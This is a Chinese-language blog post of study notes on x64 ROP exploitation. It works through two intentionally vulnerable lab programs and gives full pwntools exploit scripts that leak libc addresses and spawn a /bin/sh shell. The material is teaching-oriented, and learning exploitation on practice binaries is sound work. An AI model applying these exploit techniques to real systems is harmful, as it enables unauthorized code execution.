蒸米一步一步ROP X64学习笔记
原文地址https://segmentfault.com/a/1190000007406442,源代码地址https://github.com/zhengmin1989/ROP_STEP_BY_STEP(冒昧的贴一下,
本文有一些作为一只菜鸡的思考,原文蒸米大大可能站的角度比较高,有的地方没有写清楚,这里权当补充一下
首先是level4,源代码如下
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
gcc -fno-stack-protector level4.c -o level4 -ldl
编译(github里提供的level4程序关闭了pie,我们这么编译打开PIE加大下难度:P
# checksec level4
[*] '/root/rop/rop/level4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
可以看到程序打开了NX和PIE,由于程序输出了system的地址,所以可以用system地址作为相对偏移,最后加上system地址绕过ASLR。
vulnerable_function存在栈溢出,所以可以构造payload=padding128+EBP+pop_rdi_ret+binsh+system_addr
构造这个payload可以成功的原因是padding128覆盖buf;调用函数时call func会push eip,这里的eip是返回地址,进入func时会push rbp,mov rbp,rsp开辟栈帧,所以需要在栈帧加入EBP;pop_rdi_ret即返回地址eip,调用函数返回时ret会pop eip,这里我们找一个pop rdi,ret的gadget就会执行之;调用函数返回执行ret时rsp指向pop_rdi_ret的地址,pop rip后rsp指向binsh,执行gadget的pop rdi会把binsh弹出rdi作为system调用的第一个参数,然后执行gadget的ret时rsp指向system_addr,就会执行system调用了
另:64位程序函数调用参数依次保存在RDI,RSI,RDX,RCX,R8和 R9
在源程序查找/bin/sh没有找到,只能在ibc里寻找
查找pop_rdi_ret(原作者用的程序可能是github那个版本的,我这里由于重新编译了竟然找到了gadget,当然源程序找不到gadget只能从libc里找了:P
p# ROPgadget --binary level4 --only "pop|ret"
Gadgets information
============================================================
0x000000000000093c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000093e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000940 : pop r14 ; pop r15 ; ret
0x0000000000000942 : pop r15 ; ret
0x000000000000093b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000093f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000770 : pop rbp ; ret
0x0000000000000943 : pop rdi ; ret
0x0000000000000941 : pop rsi ; pop r15 ; ret
0x000000000000093d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000686 : ret
Unique gadgets found: 11
构造exp程序如下
from pwn import * context(os='linux',arch='amd64',log_level='debug') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process('./level4') binsh_offset=next(libc.search('/bin/sh'))-libc.symbols['system']
pop_rdi_ret_offset=0x1feea-libc.symbols['system'] system_str=p.recvuntil('\n')
system_addr=int(system_str,) binsh=binsh_offset+system_addr
pop_rdi_ret=pop_rdi_ret_offset+system_addr payload='A'*+'BBBBBBBB'+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr) p.sendline(payload)
p.interactive()
然后是一个比较有难度的level5
程序源代码如下
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
编译时关闭了PIE保护
可以看到这个程序只有一个栈溢出,又因为开启了NX保护,所以利用的思路就是system("/bin/sh")的函数地址和/bin/sh写入一个可写可执行段(.BSS);又因为程序调用了write和read,所以可以通过write输出write.got的地址,计算system和write的相对偏移从而计算libc system的地址
objdump -d level5查看level5的汇编,有一个通用构造gadgets的函数
<__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)
4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)
4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)
4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)
4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)
4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)
4005cc: 48 83 ec 38 sub $0x38,%rsp
4005d0: 4c 29 e5 sub %r12,%rbp
4005d3: 41 89 fd mov %edi,%r13d
4005d6: 49 89 f6 mov %rsi,%r14
4005d9: 48 c1 fd 03 sar $0x3,%rbp
4005dd: 49 89 d7 mov %rdx,%r15
4005e0: e8 1b fe ff ff callq 400400 <_init>
4005e5: 48 85 ed test %rbp,%rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor %ebx,%ebx
4005ec: 0f 1f 40 00 nopl 0x0(%rax)
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
400629: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
这个函数里先执行400606再执行4005f0有以下赋值过程
RDI,RSI,RDX
[RSP+0X8]->RBX
[RSP+0X10]->RBP
[RSP+0X18]->R12
[RSP+0X20]->R13;R13D->EDI
[RSP+0X28]->R14->RSI
[RSP+0X30]->R15->RDX
CALL [R12+RBX*8]
我们先构造一个payload输出write在got表中的地址
write(rdi=1, rsi=write.got, rdx=8)
ssize_t write(int fd, void *buf, size_t count);
init_addr=0x400606
func_addr=0x4005f0
payload1=padding128+ebp+init_addr+p64(0)+p64(0)+p64(1)+write.got+p64(1)+write.got+p64(8)+p64(func_addr)+padding56+p64(main)
这个payload可以成功的原因:padding128+ebp覆盖buf空间,在vulnerable_function执行结束ret时执行init_addr,即0X400606开始的赋值指令,此时RSP指向p64(0)的位置,各寄存器依次如下赋值。
显然执行到0X400624时,并没有执行过压栈出栈指令,RSP依然指向p64(0)的位置,此时执行0X400624,esp+=0x38,上图栈中数据正好8*7=0X38个,所以执行完0X400624后esp正好指向P64(func)的位置。此时执行0x400628ret则执行func,执行到0x4005f9 call(r12+rbx*8)即call write,(在Linux中,值为0、1、2的fd分别代表标准输入、标准输出和标准错误输出,在程序中打开文件得到的fd从3开始增长)
所以这时执行write(1,write.got,8)则会把8字节write.got地址输出到标准输出,这时p.recv(8)即可得到write.got的地址
此时我们得到write.got地址即可通过
system_offset=libc.symbols['write']-libc.symbols['system']
write_addr=u64(p.recv(8))
system_addr=write_addr-system_offset
得到system在libc中的地址。
payload最后+padding56+p64(main)的意思是执行完write后由于rbp=rbx,会依次执行到0x400624,由于我们需要继续利用栈溢出,所以需要返回main函数,所以需要填充一个56大小的padding,然后ret返回main函数
接下来就是要把system和/bin/sh的地址写入.bss,然后再执行system("/bin/sh")即可。payload构造过程与payload1类似,EXP如下
from pwn import *
context(os='linux',arch='amd64')
elf=ELF('level5')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process('./level5')
init_addr=0x400606
func_addr=0x4005f0
got_write=elf.got['write']
got_read=elf.got['read']
main=0x400564
bss_addr=0x601028
system_offset=libc.symbols['write']-libc.symbols['system']
#write(rdi=1, rsi=write.got, rdx=8)
payload1='\x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(got_write)+p64(1)+p64(got_write)+p64(8)
payload1+=p64(func_addr)+'\x00'*56+p64(main)
p.recvuntil("Hello, World\n")
p.send(payload1)
sleep(3)
print "send payload1\n"
write_addr=u64(p.recv(8))
system_addr=write_addr-system_offset
p.recvuntil("Hello, World\n")
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2='\x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(got_read)+p64(0)+p64(bss_addr)+p64(16)
payload2+=p64(func_addr)+'\x00'*56+p64(main)
p.send(payload2)
sleep(3)
print "send payload2\n"
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(3)
print "please wait\n"
p.recvuntil("Hello, World\n")
#system(rdi = bss_addr+8 = "/bin/sh")
payload3='\x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(bss_addr)+p64(bss_addr+8)+p64(0)+p64(0)
payload3+=p64(func_addr)+'\x00'*56+p64(main)
sleep(3)
p.send(payload3)
print "send payload3\n"
p.interactive()
关于几个利用的细节问题:
1.要先执行elf=ELF('level5')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')再执行process('./level5'),最后才能得到一个稳定的shell
2.每一次send(payload)要sleep一下,不sleep 也会不稳定
3.payload中用A之类的替换\x00会导致Got EOF while sending in interactive的问题
本文作者很菜,这几个细节问题并不知道是什么原因。如果凑巧有大佬看到这篇文章,望不吝赐教
答:
2.如果不调用sleep可能会出现多个payload一起send的情况,坑(
蒸米一步一步ROP X64学习笔记的更多相关文章
- Rop框架学习笔记
1. 提供了开发服务平台的解决方案:比如应用认证.会话管理.安全控制.错误模型.版本管理.超时限制 2. 启动:RopServlet截获http请求 配置: <servlet> < ...
- 一步一步学ROP之linux_x64篇(蒸米spark)
目录 一步一步学ROP之linux_x64篇(蒸米spark) 0x00 序 0x01 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击 0x02 ...
- 一步一步学ROP之linux_x86篇(蒸米spark)
目录 一步一步学ROP之linux_x86篇(蒸米spark) 0x00 序 0x01 Control Flow Hijack 程序流劫持 0x02 Ret2libc – Bypass DEP 通过r ...
- 一步一步学ROP之gadgets和2free篇(蒸米spark)
目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...
- 一步一步学ROP之linux_x64篇
一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防 ...
- 一步一步学ROP之linux_x86篇
一步一步学ROP之linux_x86篇 作者:蒸米@阿里聚安全 一.序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过 ...
- 一步一步pwn路由器之rop技术实战
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...
- 一步一步学习JNI
本文来自网易云社区 作者:孙有军 前言 本篇的主要目的就是JNI开发入门,使大家对JNI开发流程有一个大致的了解,后续再进行深入学习. JNI不是Android特有的,JNI是Java Native ...
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
随机推荐
- iOS开发基础-UITableView基本属性
设置 UITableView 中 cell 的背景颜色. 示例1:通过 backgroundView 设置. UIView *view1 = [[UIView alloc] init]; view1. ...
- Docker启动的问题解决笔记
一.错误信息1:解决VM 与 Device/Credential Guard 不兼容 错误原因: 1.出现此问题的原因是Device Guard或Credential Guard与Workstati ...
- PS调出米黄色复古柔和外景人物照
配色思路 从片中可以看出主要景物近处的有人物和栏杆,远处的海水,天空和礁石.为体现出远近层次,近处景物选择了偏黄的色调,远处景物选择了偏青色调. 调色 以下面这张照片为例,先放上对比图: LR部分 首 ...
- JAXB注解的使用详解
前言: 最近一直在做各种接口的对接,接触最多的数据类型就是JSON和XML数据,还有XML中包含JSON的数据,而在Java中对象和XML之间的转换经常用到JAXB注解,抽空在这里总结一下,首先做一下 ...
- python之路day01--变量
一.变量 变量就是将一些运算的中间结果暂存到内存中,以便后续代码块调用. 规范: 1.必须由数字.字母.下划线任意组合,且不能数字开头. 2.不能是python中的关键字.如:‘print’ 'and ...
- Linux设备树(三 属性)
三 属性(property) device_type = "memory"就是一个属性,等号前边是属性,后边是值.节点是一个逻辑上相对独立的实体,属性是用来描述节点特性的,根据需要 ...
- MFC(2):Edit Control 实现自动换行
--------------------------------------- 设置属性: multiline: true Auto_HScroll:true Vertical scroll: tr ...
- Numpy系列(一)- array
初始Numpy 一.什么是Numpy? 简单来说,Numpy 是 Python 的一个科学计算包,包含了多维数组以及多维数组的操作. Numpy 的核心是 ndarray 对象,这个对象封装了同质数据 ...
- OS + macOS Mojave 10.14.4 / sushi / ssh-keygen / ssh-copy-id
s 系统版本: macOS 10.14.4 (18E226) 内核版本: Darwin 18.5.0 型号名称: Mac mini 2014 型号标识符: Macmini7,1 处理器名称: Inte ...
- 分布式监控系统开发【day37】:监控客户端开发(五)
一.目录结构 二.模块方法调用关系总图 三.入口文件main 1.解决了说明问题 1.客户端就干了一件事情,干什么事情 收集数据汇报给服务端? 但是我这个客户端是插件形式2.首先必须要传一个参数,st ...